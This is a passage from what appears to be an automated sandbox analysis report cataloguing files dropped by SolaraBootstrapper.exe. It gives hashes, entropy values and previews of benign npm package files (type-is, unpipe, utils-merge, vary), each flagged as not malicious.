Preview:	(The MIT License)..Copyright (c) 2014 Jonathan Ong <me@jongleberry.com>.Copyright (c) 2014-2015 Douglas Christopher Wilson <doug@somethingdoug.com>..Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the.'Software'), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY.CLAIM, DAMAGES OR

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\type-is\README.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	exported SGML document, ASCII text
Category:	dropped
Size (bytes):	5183
Entropy (8bit):	4.947834154680962
Encrypted:	false
SSDEEP:	96:FCk15H39n7fKmAzLwWq2IX8AfKizfQIVGuMEeVjvWj:FCE3Vqq2IXPhVGpOj
MD5:	2683527A9B2FAADD364A0EAB9CC00935
SHA1:	B624A667819B1A0E66A842144092EDCB789C30D9
SHA-256:	FFCB49607E72EBA2ED8B37C854762381E7D2DF2714CBDA5B921CED25841581AD
SHA-512:	71EA5CEA73C5E541890BB31AE5A90A88CA19A7565B0A2957AFA0F875DFB596F9B745EE1D310D2149CEDDEBB7008EF8445FF6B71B4E3E0456FF8B7B1A59AF974A
Malicious:	false
Preview:	# type-is..[![NPM Version][npm-version-image]][npm-url].[![NPM Downloads][npm-downloads-image]][npm-url].[![Node.js Version][node-version-image]][node-version-url].[![Build Status][travis-image]][travis-url].[![Test Coverage][coveralls-image]][coveralls-url]..Infer the content-type of a request...### Install..This is a [Node.js](https://nodejs.org/en/) module available through the.[npm registry](https://www.npmjs.com/). Installation is done using the.[`npm install` command](https://docs.npmjs.com/getting-started/installing-npm-packages-locally):..```sh.$ npm install type-is.```..## API..```js.var http = require('http').var typeis = require('type-is')..http.createServer(function (req, res) {. var istext = typeis(req, ['text/*']). res.end('you ' + (istext ? 'sent' : 'did not send') + ' me text').}).```..### typeis(request, types)..Checks if the `request` is one of the `types`. If the request has no body,.even if there is a `Content-Type` header, then `null` is returned. If the.`Content

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\type-is\index.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5562
Entropy (8bit):	4.8858002111817385
Encrypted:	false
SSDEEP:	96:pr6k1rbodiocKqn9rlsI87r34KKBEZdmx3Z4vF25XhPwc72OS0BkHfLZ:prn1rbeiSq9+QKap045XhB7/S0BkHfLZ
MD5:	F9AA3AFDC332ADAE59AA21D31090582D
SHA1:	7B36DDD28B09D31B459E9CBD15476DEC2FAC3FDB
SHA-256:	4A94338BD746C6B17DD8681F21124F84ED2CDD4A16022849D28900D5E568642A
SHA-512:	EB56ECD48A228933ED5BF0055791FEE237BDA3C609CDF84DF021D68EF5922401B18A1C5C9099B0A3A15091BEB61C5837A9A847355271CFCAEF4CDCE00F2BE474
Malicious:	false
Preview:	/!. type-is. * Copyright(c) 2014 Jonathan Ong. * Copyright(c) 2014-2015 Douglas Christopher Wilson. * MIT Licensed. /..'use strict'../. Module dependencies.. * @private. /..var typer = require('media-typer').var mime = require('mime-types')../. Module exports.. * @public. /..module.exports = typeofrequest.module.exports.is = typeis.module.exports.hasBody = hasbody.module.exports.normalize = normalize.module.exports.match = mimeMatch../. Compare a `value` content-type with `types`.. * Each `type` can be an extension like `html`,. * a special shortcut like `multipart` or `urlencoded`,. * or a mime type.. . If no types match, `false` is returned.. * Otherwise, the first `type` that matches is returned.. . @param {String} value. * @param {Array} types. * @public. */..function typeis (value, types_) {. var i. var types = types_.. // remove parameters and normalize. var val = tryNormalizeType(value).. // no type or invalid. if (!val) {. return false. }.. //

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\type-is\package.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1133
Entropy (8bit):	4.78736433018023
Encrypted:	false
SSDEEP:	24:YZj1ZxVWbexf3YUgTYh3WZMCWxFXtoO70e:Y7PVWbe9YUg0hGqBxltoO7t
MD5:	FFA244D8A6F745A081A0CDDE026879C9
SHA1:	28D55C4730FDACF9019317FAE0BA93A0B6AEBD0B
SHA-256:	87917E3DDA1080179447633C3EDFF7E4B917D62B463893C88CEF5BE0B2BABC63
SHA-512:	C384F368197C1EB14252568398EFDD1FAFE497BA985538B3953294D5DD6B83B745B0648EDD60489D6AE3EA14607AAD3E6E0D38CB6ED4BE5684AAADE44C303D90
Malicious:	false
Preview:	{. "name": "type-is",. "description": "Infer the content-type of a request.",. "version": "1.6.18",. "contributors": [. "Douglas Christopher Wilson <doug@somethingdoug.com>",. "Jonathan Ong <me@jongleberry.com> (http://jongleberry.com)". ],. "license": "MIT",. "repository": "jshttp/type-is",. "dependencies": {. "media-typer": "0.3.0",. "mime-types": "~2.1.24". },. "devDependencies": {. "eslint": "5.16.0",. "eslint-config-standard": "12.0.0",. "eslint-plugin-import": "2.17.2",. "eslint-plugin-markdown": "1.0.0",. "eslint-plugin-node": "8.0.1",. "eslint-plugin-promise": "4.1.1",. "eslint-plugin-standard": "4.0.0",. "mocha": "6.1.4",. "nyc": "14.0.0". },. "engines": {. "node": ">= 0.6". },. "files": [. "LICENSE",. "HISTORY.md",. "index.js". ],. "scripts": {. "lint": "eslint --plugin markdown --ext js,md .",. "test": "mocha --reporter spec --check-leaks --bail test/",. "test-cov": "nyc --reporter=html --reporter=te

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\unpipe\HISTORY.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	59
Entropy (8bit):	3.7457244047073406
Encrypted:	false
SSDEEP:	3:SVcG5IIAYSSFhF4:SCQIMSS2
MD5:	3E523DF8AC60D8C162C57521955BDA8C
SHA1:	7D305C01484F34F1B6CEC629368317A1C76AFD6F
SHA-256:	6F6DC64D92C2450FD3A2FE41CA1DD3EBEB9C2321AC3C308728F5DE69FE6C6FEC
SHA-512:	944576AD6105EB8E767D42B5C7AC9A3E66B9B739B7AB587C2BCED7D10C935198ACEB16EFA01B8297F7FE7E5B5983004D108F18195D2D578DB6D7653AA5D23BCE
Malicious:	false
Preview:	1.0.0 / 2015-06-14.==================.. * Initial release.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\unpipe\LICENSE

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1114
Entropy (8bit):	5.130133103702875
Encrypted:	false
SSDEEP:	24:9iJH/ZHHuyPP3GtIHw1Gg9MPH+sUW8Ok4odZo3U/qldFD:9iJfxfPvGt7ICMPH+sfINi3OMFD
MD5:	934AB86A8AB081EA0326ADD08D550739
SHA1:	140C0ED7F877E74246D459750884AADD7F3466A0
SHA-256:	1A526FBE8D8577F5A4B1C2821842B55B7C0E18862531C62AE4CE69C9B19B74B6
SHA-512:	E7D31B0D69A58710DBE84A59BFC15749609BCD4DF013FF700DE3CAEA0B0669562E905557F63B4BF745997DD8859457A03668F7F5F699EF9F0075555EE4F1864B
Malicious:	false
Preview:	(The MIT License)..Copyright (c) 2015 Douglas Christopher Wilson <doug@somethingdoug.com>..Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the.'Software'), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY.CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,.TORT OR

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\unpipe\README.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1250
Entropy (8bit):	4.9655786458541815
Encrypted:	false
SSDEEP:	24:ceqXSX2498ARP5A20KDR5ln/HvfBQQ5tgqTSGImemW6mK+NOdov:3qXC9XRBABKbZBMm7mKAB
MD5:	B242AC151AC9750BF7CA20FE02DCF7B0
SHA1:	BDA6E077E2453E52345108FA973B2E3D0074DA14
SHA-256:	B091938BE61F002FC626C4DFABF66CF14FF0B5A8FA9758C9DBBDC37AB818CB5D
SHA-512:	4883EE4A3A5776C9017960A1CBE980DF1481F7107D6E41F3673328DADFA82803B39597515E3F12D4382B68978D207CE284F87330C4F76405AA2F7A7354031FCB
Malicious:	false
Preview:	# unpipe..[![NPM Version][npm-image]][npm-url].[![NPM Downloads][downloads-image]][downloads-url].[![Node.js Version][node-image]][node-url].[![Build Status][travis-image]][travis-url].[![Test Coverage][coveralls-image]][coveralls-url]..Unpipe a stream from all destinations...## Installation..```sh.$ npm install unpipe.```..## API..```js.var unpipe = require('unpipe').```..### unpipe(stream)..Unpipes all destinations from a given stream. With stream 2+, this is.equivalent to `stream.unpipe()`. When used with streams 1 style streams.(typically Node.js 0.8 and below), this module attempts to undo the.actions done in `stream.pipe(dest)`...## License..[MIT](LICENSE)..[npm-image]: https://img.shields.io/npm/v/unpipe.svg.[npm-url]: https://npmjs.org/package/unpipe.[node-image]: https://img.shields.io/node/v/unpipe.svg.[node-url]: http://nodejs.org/download/.[travis-image]: https://img.shields.io/travis/stream-utils/unpipe.svg.[travis-url]: https://travis-ci.org/stream-utils/unpipe.[coveralls

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\unpipe\index.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1118
Entropy (8bit):	4.653728842990181
Encrypted:	false
SSDEEP:	24:++kpAtBhSrJbw4DbMq5OgPsDwGBgk4DEIcH9VBM:DkGbAwydOgPmwohyFcdE
MD5:	377F0C4BDDBBD7E73B32A53E687DF342
SHA1:	DF9106D2019FE2E4BFAE9882E4A8BE7012EB55CF
SHA-256:	69CD57B5CDD08C42410EBC0D92235E334F1FB985E6EB2DCFB1C692DB674411BD
SHA-512:	BFEC0A252C8D2718C6B747E40E6D3ACF165C5F797F725E4729E477707AAA04F6904E1B00688DD348CA25FE13ADEF8E3FC7F0FC8B03877359B5883224107DC0DE
Malicious:	false
Preview:	/!. unpipe. * Copyright(c) 2015 Douglas Christopher Wilson. * MIT Licensed. /..'use strict'../. Module exports.. * @public. /..module.exports = unpipe../. Determine if there are Node.js pipe-like data listeners.. * @private. /..function hasPipeDataListeners(stream) {. var listeners = stream.listeners('data').. for (var i = 0; i < listeners.length; i++) {. if (listeners[i].name === 'ondata') {. return true. }. }.. return false.}../. Unpipe a stream from all destinations.. . @param {object} stream. * @public. */..function unpipe(stream) {. if (!stream) {. throw new TypeError('argument stream is required'). }.. if (typeof stream.unpipe === 'function') {. // new-style. stream.unpipe(). return. }.. // Node.js 0.8 hack. if (!hasPipeDataListeners(stream)) {. return. }.. var listener. var listeners = stream.listeners('close').. for (var i = 0; i < listeners.length; i++) {. listener = listeners[i].. if (listener.name !== 'cleanu

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\unpipe\package.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	770
Entropy (8bit):	4.826779902861029
Encrypted:	false
SSDEEP:	12:bC+OQZ5u182QpBUtHhYW/kEVEnk6f3RGCjPcWjVSYLZLPOyZiPjXy8enYMw:bC+p5u1kuhYWVcFnlZqy4y8e1w
MD5:	F8318A554ED98C6A030942E9C14AAAC8
SHA1:	F67F2D17A18C3DED93C9423903DF8E6678F4E416
SHA-256:	28B717F978D2A4FC72CD08236931443B63FE6586102DF3D1967E2B21EA8C5E11
SHA-512:	673447C1A4022F7E46D3A1857B1DB481C3B61C4F936156E422E99B4EF2E35BCD8487A4B0F7533900A3B071FE7475E3D11732A3DF07F996383A04F508CE903AE8
Malicious:	false
Preview:	{. "name": "unpipe",. "description": "Unpipe a stream from all destinations",. "version": "1.0.0",. "author": "Douglas Christopher Wilson <doug@somethingdoug.com>",. "license": "MIT",. "repository": "stream-utils/unpipe",. "devDependencies": {. "istanbul": "0.3.15",. "mocha": "2.2.5",. "readable-stream": "1.1.13". },. "files": [. "HISTORY.md",. "LICENSE",. "README.md",. "index.js". ],. "engines": {. "node": ">= 0.8". },. "scripts": {. "test": "mocha --reporter spec --bail --check-leaks test/",. "test-cov": "istanbul cover node_modules/mocha/bin/_mocha -- --reporter dot --check-leaks test/",. "test-travis": "istanbul cover node_modules/mocha/bin/_mocha --report lcovonly -- --reporter spec --check-leaks test/". }.}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\utils-merge\.npmignore

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	79
Entropy (8bit):	4.6812735898894395
Encrypted:	false
SSDEEP:	3:fxKiLUbNBK/fjBMRW0RUzo0v:fQiLM8/FoGoW
MD5:	E22C42D21BDEA276864DA000C7D83756
SHA1:	C675B26B3B3F739F86E570525FBAFA1AF6598031
SHA-256:	3841A300F5CE46D39ABA5E9E221B3C90D518612606930E8103F3C9AE7E784C0D
SHA-512:	B755B12018BBD2DA5C37F0EEA3D6D04028095A2E7D10810650B1E733649DFAE757A5234C8FB66A90AB016C2575AA32F24153768B843E8B74D8F8496B96D9DBD1
Malicious:	false
Preview:	CONTRIBUTING.md.Makefile.docs/.examples/.reports/.test/...jshintrc..travis.yml.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\utils-merge\LICENSE

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1084
Entropy (8bit):	5.124276966611244
Encrypted:	false
SSDEEP:	24:bGPrOJH7H0yxgtAHw1hC09QHOsUv4tk4/+dpoaq/FD:bGPSJrlxEDdQHOs52TSaYFD
MD5:	1CF0906082187F374CB9A63C54EB782C
SHA1:	840EC17DC7B3131DEE404954B69C62B882BA6599
SHA-256:	6E7D699CDD1E4FA837BA7718EA49841AA67201B449EA8B3F9CF274BE15974A64
SHA-512:	58F059D1FF4A04B52284C8C58038CDAC8FC70B0E1AAA0103F8BE2BD928461F6C9E4BF0A8CA0897FD630A01CCEE13B8DE36CBC97EC14824A17569148CCC85986D
Malicious:	false
Preview:	The MIT License (MIT)..Copyright (c) 2013-2017 Jared Hanson..Permission is hereby granted, free of charge, to any person obtaining a copy of.this software and associated documentation files (the "Software"), to deal in.the Software without restriction, including without limitation the rights to.use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of.the Software, and to permit persons to whom the Software is furnished to do so,.subject to the following conditions:..The above copyright notice and this permission notice shall be included in all.copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS.FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR.COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER.IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\utils-merge\README.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1319
Entropy (8bit):	5.219444793538169
Encrypted:	false
SSDEEP:	24:+B+J2IIEfLXMPXTTgoXgQ6mJEdpuTENzT6/E0dwCc9QGKznzkw6RfG9vGA:FJYEfLuTgzlmJEdsEtTAE0+7QGNTA
MD5:	9E6A49A7623199D699F595777116296F
SHA1:	3139B3182F49C480A6A6417D69A6657E37A56F2F
SHA-256:	F6672DB98C83976565016569515C4FE33D8D9F0EA1F41044FCB1C91B1155FDA8
SHA-512:	9D488012202F83A875ABFE7925F50788C4C304A83C5EA64665F7D38482AD7600F210E57F2E857693C86479A2B0F73BFE9D88B796A44E47DBF40E92AA99ED0FE3
Malicious:	false
Preview:	# utils-merge..[![Version](https://img.shields.io/npm/v/utils-merge.svg?label=version)](https://www.npmjs.com/package/utils-merge).[![Build](https://img.shields.io/travis/jaredhanson/utils-merge.svg)](https://travis-ci.org/jaredhanson/utils-merge).[![Quality](https://img.shields.io/codeclimate/github/jaredhanson/utils-merge.svg?label=quality)](https://codeclimate.com/github/jaredhanson/utils-merge).[![Coverage](https://img.shields.io/coveralls/jaredhanson/utils-merge.svg)](https://coveralls.io/r/jaredhanson/utils-merge).[![Dependencies](https://img.shields.io/david/jaredhanson/utils-merge.svg)](https://david-dm.org/jaredhanson/utils-merge)...Merges the properties from a source object into a destination object...## Install..```bash.$ npm install utils-merge.```..## Usage..```javascript.var a = { foo: 'bar' }. , b = { bar: 'baz' };..merge(a, b);.// => { foo: 'bar', bar: 'baz' }.```..## License..[The MIT License](http://opensource.org/licenses/MIT)..Copyright (c) 2013-2017 Jared Hanson <

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\utils-merge\index.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	381
Entropy (8bit):	4.422770760937556
Encrypted:	false
SSDEEP:	6:UVcAoaKosuXtwYwlFamqn9YoJBwYvmJwJwNu8CirirBBuH/aEnOQ1t/Jevzv:UVcABKojurq9YoXwCYNuCrilBu3n7/Qr
MD5:	20D03F8BF4486091C44F17A97CBB6C24
SHA1:	77759A680BD22CACB94BDC438ED6250EEB10E50A
SHA-256:	EC62860D6445ADDFFD574F640451EA92E0558B6DF793B2E0F1C7175FC2FF6366
SHA-512:	E892863627CFC57839D23A8647010A6AB17C7683B827BF07CC6E130F7D937816075EBC83C013D5FBF6C98F65EAEF838093E8A2F891A8BD5E9D56937822F63EF5
Malicious:	false
Preview:	/*. Merge object b with object a.. . var a = { foo: 'bar' }. * , b = { bar: 'baz' };. . merge(a, b);. * // => { foo: 'bar', bar: 'baz' }. . @param {Object} a. * @param {Object} b. * @return {Object}. * @api public. */..exports = module.exports = function(a, b){. if (a && b) {. for (var key in b) {. a[key] = b[key];. }. }. return a;.};.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\utils-merge\package.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	857
Entropy (8bit):	4.6512860629235115
Encrypted:	false
SSDEEP:	12:qrgt18u3BozWSjJGbzAObmF2YHehETvn+204CQiYW9NJuPCWjV+dhcYbLu:Bt1l3+aSjobzCUhG04CQiYW96VaNS
MD5:	0230ADE39B9C19F5FCC29ED02DFF4AFE
SHA1:	A03473329C34092EA6A88CC11C409A4ECF8BAD33
SHA-256:	6238E6D7E2FDDD3E4826014B4E69CB20D332B472999728A7157DB454C69121B8
SHA-512:	260D0ED23C672B9ABED7557D6664484E79B2B2C204F6EE87E9E75242F921B0DC2F66113AB265F070B927802CD20B9D40E2174F0788DA56E26939FB10C8F885A6
Malicious:	false
Preview:	{. "name": "utils-merge",. "version": "1.0.1",. "description": "merge() utility function",. "keywords": [. "util". ],. "author": {. "name": "Jared Hanson",. "email": "jaredhanson@gmail.com",. "url": "http://www.jaredhanson.net/". },. "repository": {. "type": "git",. "url": "git://github.com/jaredhanson/utils-merge.git". },. "bugs": {. "url": "http://github.com/jaredhanson/utils-merge/issues". },. "license": "MIT",. "licenses": [. {. "type": "MIT",. "url": "http://opensource.org/licenses/MIT". }. ],. "main": "./index",. "dependencies": {},. "devDependencies": {. "make-node": "0.3.x",. "mocha": "1.x.x",. "chai": "1.x.x". },. "engines": {. "node": ">= 0.4.0". },. "scripts": {. "test": "node_modules/.bin/mocha --reporter spec --require test/bootstrap/node test/*.test.js". }.}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\vary\HISTORY.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	792
Entropy (8bit):	4.662081372990917
Encrypted:	false
SSDEEP:	12:hhivfDcqWXpwnJqYrcviIucq1u6iyZrOTxCwQAS0fg0o/iVdQTrf8daVGhs0+J7Y:zis+0qcZStrh6/SL8XeY
MD5:	01FB6033779E4F75D95E327672EBD572
SHA1:	34B0D41868E3009838F528BA08F0B7D9C421A232
SHA-256:	273B0EA4ABB4C7357DB4EED63E84F7A283847ED0165D041B25BE37071284D7E5
SHA-512:	51C51B57E5DDD4C667EFFB71B354BB1C296654A80BB52798337F7797185FFC0DCCFB448B40B5ACCEAF38120290E1D0F5407305F81B5D49D32CDD6190A4B92B20
Malicious:	false
Preview:	1.1.2 / 2017-09-23.==================.. * perf: improve header token parsing speed..1.1.1 / 2017-03-20.==================.. * perf: hoist regular expression..1.1.0 / 2015-09-29.==================.. * Only accept valid field names in the `field` argument. - Ensures the resulting string is a valid HTTP header value..1.0.1 / 2015-07-08.==================.. * Fix setting empty header from empty `field`. * perf: enable strict mode. * perf: remove argument reassignments..1.0.0 / 2014-08-10.==================.. * Accept valid `Vary` header string as `field`. * Add `vary.append` for low-level string manipulation. * Move to `jshttp` orgainzation..0.1.0 / 2014-06-05.==================.. * Support array of fields to set..0.0.0 / 2014-06-04.==================.. * Initial release.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\vary\LICENSE

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1094
Entropy (8bit):	5.1284116326456815
Encrypted:	false
SSDEEP:	24:0iJH/ZHHuyPP3GtIHw1Gg9MPH+sUW8Ok4odZo3U/qldFD:0iJfxfPvGt7ICMPH+sfINi3OMFD
MD5:	13BABC4F212CE635D68DA544339C962B
SHA1:	4881AD2EC8EB2470A7049421047C6D076F48F1DE
SHA-256:	BD47CE7B88C7759630D1E2B9FCFA170A0F1FDE522BE09E13FB1581A79D090400
SHA-512:	40E30174433408E0E2ED46D24373B12DEF47F545D9183B7BCE28D4DDD8C8BB528075C7F20E118F37661DB9F1BBA358999D81A14425EB3E0A4A20865DFCB53182
Malicious:	false
Preview:	(The MIT License)..Copyright (c) 2014-2017 Douglas Christopher Wilson..Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the.'Software'), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY.CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,.TORT OR OTHERWISE, ARISING

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\vary\README.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	exported SGML document, ASCII text
Category:	dropped
Size (bytes):	2716
Entropy (8bit):	5.01575990232993
Encrypted:	false
SSDEEP:	48:CqXC9RRkUwRNdXMoNjFNhk/JGWgXvKCharls1zfz/JA0gXvKCqyle3rXj58RN/e2:RXCI151CUlXvZAls1zDKbXvSyle3rX0V
MD5:	D7ADD56E89E476E09F62AD4A926F1F7A
SHA1:	85BA654D0C99438CA317F8581DE08D197954810E
SHA-256:	03444F916DDB9A1C692C329F88B83B1A21D016DCE46656091F21E903109DD65C
SHA-512:	A913511B9900C171C161CDF30F4948EFB758F6323B796317E32C8C555EA0F339F53B782BAA8CE649D20BFFBC5DB875D0C85FAA89CB6C12A94AB6E6C542448E64
Malicious:	false
Preview:	# vary..[![NPM Version][npm-image]][npm-url].[![NPM Downloads][downloads-image]][downloads-url].[![Node.js Version][node-version-image]][node-version-url].[![Build Status][travis-image]][travis-url].[![Test Coverage][coveralls-image]][coveralls-url]..Manipulate the HTTP Vary header..## Installation..This is a [Node.js](https://nodejs.org/en/) module available through the.[npm registry](https://www.npmjs.com/). Installation is done using the.[`npm install` command](https://docs.npmjs.com/getting-started/installing-npm-packages-locally): ..```sh.$ npm install vary.```..## API.. eslint-disable no-unused-vars -->..```js.var vary = require('vary').```..### vary(res, field)..Adds the given header `field` to the `Vary` response header of `res`..This can be a string of a single field, a string of a valid `Vary`.header, or an array of multiple fields...This will append the header if not already listed, otherwise leaves.it listed in the current location... eslint-disable no-undef -->..``

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\vary\index.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2930
Entropy (8bit):	4.820541272922599
Encrypted:	false
SSDEEP:	48:kW373vBxqkg4LFfxFJbjNbqv3JnJyNH10XsF2HUJHV7oQtEW7lUxRYZ:N7fTqpyxxXbjNbKJnJyBOe2AZtBx+RYZ
MD5:	8217C2D942EE5BF6866C92662515D975
SHA1:	0E3F2E39B49663EB93E911C9F9C96D2C843D85DA
SHA-256:	8E40311960636D40473C57E335BBCA115036766BF150DF296B941256432AB410
SHA-512:	3EF722D37B016C63AC0126CFDCECB6D7140619D0CF4995898C0BBD9707951581527A6DCB78AC35E948C26FCA53B8A199CF5A28E8F41821F0D5B617DB54BABD41
Malicious:	false
Preview:	/!. vary. * Copyright(c) 2014-2017 Douglas Christopher Wilson. * MIT Licensed. /..'use strict'../. Module exports.. /..module.exports = vary.module.exports.append = append../. RegExp to match field-name in RFC 7230 sec 3.2. . field-name = token. * token = 1tchar. tchar = "!" / "#" / "$" / "%" / "&" / "'" / "". / "+" / "-" / "." / "^" / "_" / "`" / "\|" / "~". * / DIGIT / ALPHA. * ; any VCHAR, except delimiters. /..var FIELD_NAME_REGEXP = /^[!#$%&'+\-.^_`\|~0-9A-Za-z]+$/../*. Append a field to a vary header.. . @param {String} header. * @param {String\|Array} field. * @return {String}. * @public. */..function append (header, field) {. if (typeof header !== 'string') {. throw new TypeError('header argument is required'). }.. if (!field) {. throw new TypeError('field argument is required'). }.. // get fields array. var fields = !Array.isArray(field). ? parse(String(field)). : field..

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\vary\package.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1215
Entropy (8bit):	4.850707992402894
Encrypted:	false
SSDEEP:	24:9X13Uwnr1y7efP6ifPVQeZWnWPf/Fn6T+l6oOUZqy4y8e1w:9X13UwBzfSifPVQeQWPf/B0+woOUogw
MD5:	3577FC17C1B964AF7CFE2C17C73F84F3
SHA1:	82F740E2254B786F7A3A39A762D4D0FC6EC7B008
SHA-256:	73EDAEE964D527117A9F69D6360FBE6CEC534ABD9127794BE01A6AF58A139DAA
SHA-512:	9FC7C9E6F129D53839998AC11523F7B4C47C541F7D4823B4C702358452A6CC903AFA546297151F947881C2D9D3703D0863A2387A5B25C276CE74BE91EBADC43B
Malicious:	false
Preview:	{. "name": "vary",. "description": "Manipulate the HTTP Vary header",. "version": "1.1.2",. "author": "Douglas Christopher Wilson <doug@somethingdoug.com>",. "license": "MIT",. "keywords": [. "http",. "res",. "vary". ],. "repository": "jshttp/vary",. "devDependencies": {. "beautify-benchmark": "0.2.4",. "benchmark": "2.1.4",. "eslint": "3.19.0",. "eslint-config-standard": "10.2.1",. "eslint-plugin-import": "2.7.0",. "eslint-plugin-markdown": "1.0.0-beta.6",. "eslint-plugin-node": "5.1.1",. "eslint-plugin-promise": "3.5.0",. "eslint-plugin-standard": "3.0.1",. "istanbul": "0.4.5",. "mocha": "2.5.3",. "supertest": "1.1.0". },. "files": [. "HISTORY.md",. "LICENSE",. "README.md",. "index.js". ],. "engines": {. "node": ">= 0.8". },. "scripts": {. "bench": "node benchmark/index.js",. "lint": "eslint --plugin markdown --ext js,md .",. "test": "mocha --reporter spec --bail --check-leaks test/",. "test-cov":

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\package-lock.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25342
Entropy (8bit):	5.248519595374619
Encrypted:	false
